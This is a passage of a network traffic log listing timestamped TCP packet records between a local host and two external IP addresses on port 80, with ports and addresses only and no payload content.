Dec 18, 2024 15:56:34.160331011 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.161351919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.161393881 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.161432028 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.161464930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.162504911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.162568092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.162636995 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.162692070 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.163683891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.165595055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.229255915 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.292937994 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.293029070 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.293129921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.293225050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.293663979 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.293734074 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.293844938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.293924093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.294840097 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.294924974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.295337915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.295382023 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.295392990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.295424938 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.296403885 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.296482086 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.296663046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.296731949 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.297679901 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.297750950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.297815084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.297878027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.298803091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.298863888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.298866987 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.298912048 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.299951077 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.300003052 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.300211906 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.300343990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.301162004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.301222086 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.301248074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.301306963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.302445889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.302469015 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.302510023 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.303556919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.303600073 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.303633928 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.303647995 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.304869890 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.304944992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.304963112 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.305032015 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.306042910 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.306062937 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.306094885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.306109905 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.307127953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.307229042 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.307265043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.307346106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.308326960 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.308402061 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.308458090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.308542967 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.309511900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.309638023 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.309748888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.309851885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.310775995 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.310837984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.310847998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.310897112 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.311944962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.312000990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.312042952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.312110901 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.313283920 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.313306093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.313340902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.313374043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.314337015 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.314402103 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.314644098 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.314701080 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.315512896 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.315604925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.315659046 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.315674067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.316687107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.316792965 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.316848993 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.316931963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.317877054 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.317945004 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.318027973 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.318083048 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.319102049 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.319317102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.319782972 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.320139885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.320468903 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.320492029 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.320550919 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.321522951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.321588039 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.321870089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.321938992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.322777033 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.322865963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.323057890 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.323200941 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.323947906 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.324058056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.324153900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.324269056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.325092077 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.325373888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.325587034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.325728893 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.326811075 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.326879978 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.326996088 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.327060938 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.328249931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.328298092 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.328411102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.329180956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.329221010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.329252005 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.329273939 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.330033064 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.330054045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.330102921 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.331276894 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.331289053 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.331336021 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.331367970 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.332262039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.332353115 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.332406998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.332573891 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.333529949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.333592892 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.333863974 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.333920002 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.334778070 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.334851027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.334938049 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.335896969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.335921049 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.335973978 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.337095976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.337213039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.337219000 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.337263107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.338243008 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.338305950 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.338323116 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.338411093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.339402914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.339461088 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.339536905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.339587927 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.340766907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.340776920 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.340815067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.340842009 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.341831923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.341891050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.341932058 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.342047930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.343128920 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.343138933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.343189955 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.344288111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.344341993 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.344464064 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.344506025 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.345525980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.345570087 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.345587969 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.345617056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.346677065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.346750975 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.346919060 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.347018957 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.347974062 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.347981930 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.348033905 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.349219084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.349236965 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.349258900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.349313021 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.349328041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.349426031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.349592924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.349827051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.349893093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.350243092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.350261927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.350302935 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.350325108 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.350353956 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.350375891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.350429058 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.350917101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.351108074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.351176977 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.351522923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.351592064 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.351758957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.351778030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.351797104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.351828098 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.351856947 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.352488995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.352580070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.352720022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.352720022 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.352783918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.352941036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.353037119 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.353101969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.353121996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.353174925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.353733063 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.353806019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.353835106 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.353868008 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.353879929 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.353899002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.353950024 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.354721069 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.354795933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.354847908 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.355174065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.355192900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.355253935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.355289936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.355370045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.355470896 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.355904102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.355922937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.355969906 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.356606007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.356712103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.356762886 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.357259989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.357434988 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.357569933 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.358164072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.358225107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.358345032 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.358757973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.358910084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.359070063 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.359415054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.359569073 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.359652042 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.360150099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.360253096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.360320091 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.360956907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.361097097 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.361172915 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.361545086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.361641884 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.361737013 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.362215042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.362346888 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.362431049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.363111973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.363225937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.363303900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.363735914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.363754988 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.363863945 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.364483118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.364574909 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.364625931 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.365123034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.365216970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.365282059 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.365775108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.365890980 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.366065979 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.366609097 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.366698980 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.366761923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.367206097 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.367249966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.367300034 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.367943048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.368036985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.368098021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.368774891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.368794918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.368843079 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.369431973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.369451046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.369594097 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.370101929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.370362043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.370457888 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.370791912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.370867014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.370956898 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.371494055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.371695995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.371800900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.372287989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.372512102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.372646093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.372870922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.372955084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.372997999 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.373675108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.373693943 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.373742104 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.374423981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.374535084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.374608994 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.375017881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.375116110 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.375226974 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.375754118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.375865936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.375915051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.376440048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.376557112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.376656055 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.377218008 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.377242088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.377338886 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.377873898 CET	80	49801	185.185.71.170	192.168.2.10
